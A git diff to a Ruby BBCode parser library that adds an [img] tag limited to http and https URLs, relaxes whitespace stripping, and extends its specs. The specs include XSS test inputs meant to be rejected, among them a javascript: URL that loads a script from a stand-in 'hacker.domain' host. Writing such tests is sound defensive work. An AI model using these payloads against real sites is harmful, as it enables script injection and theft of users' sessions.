diff --git a/bristlecode.rb b/bristlecode.rb index 1ed7209..f8dd273 100644 --- a/bristlecode.rb +++ b/bristlecode.rb @@ -4,9 +4,10 @@ require 'sanitize' module Bristlecode Config = Sanitize::Config::freeze_config( - :elements => %w[b em i strong u a strike br], + :elements => %w[b em i strong u a strike br img], :attributes => { - 'a' => ['href'] + 'a' => ['href'], + 'img' => ['src'], }, :add_attributes => { 'a' => {'rel' => 'nofollow'} @@ -34,9 +35,6 @@ module Bristlecode end class Parser < Parslet::Parser - rule(:space) { match('\s').repeat(1) } - rule(:space?) { space.maybe } - rule(:bold_open) { str('[b]') | str('[B]') } rule(:bold_close) { str('[/b]') | str('[/B]') | eof } rule(:bold) { bold_open >> children.as(:bold) >> bold_close } @@ -62,16 +60,29 @@ module Bristlecode } rule(:url) { (simple_url | url_with_title).as(:url) } + rule(:img_open) { str('[img]') } + rule(:img_close) { str('[/img]') } + rule(:img) { + ( + img_open >> + ( + (str('http://') | str('https://')) >> + (img_close.absent? >> any).repeat(1) + ).as(:src) >> + img_close + ).as(:img) + } + rule(:eof) { any.absent? } - rule(:tag) { bold | italic | url | linebreak } + rule(:tag) { bold | italic | url | linebreak | img } rule(:elem) { text.as(:text) | tag } - rule(:tag_open) { bold_open | italic_open | url_open | url_title_open } - rule(:tag_close) { bold_close | italic_close | url_close } + rule(:tag_open) { bold_open | italic_open | url_open | url_title_open | img_open } + rule(:tag_close) { bold_close | italic_close | url_close | img_close } rule(:tag_delim) { tag_open | tag_close | linebreak } rule(:text) { (tag_delim.absent? >> any).repeat(1) } - rule(:children) { space? >> elem.repeat } - rule(:doc) { space? >> elem.repeat.as(:doc) } + rule(:children) { elem.repeat } + rule(:doc) { elem.repeat.as(:doc) } root(:doc) end @@ -82,6 +93,7 @@ module Bristlecode rule(doc: subtree(:doc)) { Doc.new(doc) } rule(url: subtree(:url)) { Url.new(url) } rule(br: simple(:br)) { Linebreak.new } + rule(img: subtree(:img)) { Img.new(img) } end class Doc @@ -102,7 +114,7 @@ module Bristlecode attr_accessor :text def initialize(text) - self.text = text.to_str.strip + self.text = text.to_str Bristlecode.clean(self.text) end @@ -164,4 +176,16 @@ module Bristlecode "
" end end + + class Img + attr_accessor :src + + def initialize(img) + self.src = img[:src].to_str + end + + def to_html + "" + end + end end diff --git a/spec/bristlecode/parser_spec.rb b/spec/bristlecode/parser_spec.rb index 07a1e75..6fa1fda 100644 --- a/spec/bristlecode/parser_spec.rb +++ b/spec/bristlecode/parser_spec.rb @@ -14,7 +14,8 @@ module Bristlecode end it 'handles empty documents' do - expect(to_html(" \t \n \n \t")).to eq("") + text = " \t \n \n \t" + expect(to_html(text)).to eq(text) end it 'handles special chars' do @@ -37,12 +38,12 @@ module Bristlecode it 'can nest tags' do doc = '[b] bold [i] italic [/i] bold [/b]' - expected = 'bolditalicbold' + expected = ' bold italic bold ' out = to_html(doc) expect(out).to eq(expected) doc = '[i] italic [b] bold [/b] italic [/i]' - expected = 'italicbolditalic' + expected = ' italic bold italic ' out = to_html(doc) expect(out).to eq(expected) end @@ -74,9 +75,28 @@ module Bristlecode expect(to_html(input)).to eq(output) end + it 'allows subtrees in tags' do + input = '[url=http://google.com]this is [b]the[/b] google[/url]' + output = 'this is the google' + expect(to_html(input)).to eq(output) + end + + it 'rejects bad url protocols' do + input = "[url=javascript:t=document.createElement('script');t.src='//hacker.domain/script.js';document.body.appendChild(t);//]test[/url]" + expect { to_html(input) }.to raise_error + + input = "[url=ftp://whatever.com/etc]warez[/url]" + expect { to_html(input) }.to raise_error + end + it 'renders a linebreak' do expect(to_html('[br]')).to eq('
') end + + it 'handles images' do + input = '[img]http://example.com/cat.gif[/img]' + expect(to_html(input)).to eq('') + end end describe Parser do @@ -190,5 +210,17 @@ module Bristlecode expect(parser.linebreak).to parse('[br]') end end + + describe '#img' do + it 'accepts valid image urls' do + expect(parser.img).to parse('[img]http://example.com/something.gif[/img]') + expect(parser.img).to parse('[img]https://example.com/something.gif[/img]') + end + + it 'rejects bad protocols' do + expect(parser.img).not_to parse('[img]ftp://example.com/something.gif[/img]') + expect(parser.img).not_to parse('[img]javascript:alert(1);[/img]') + end + end end end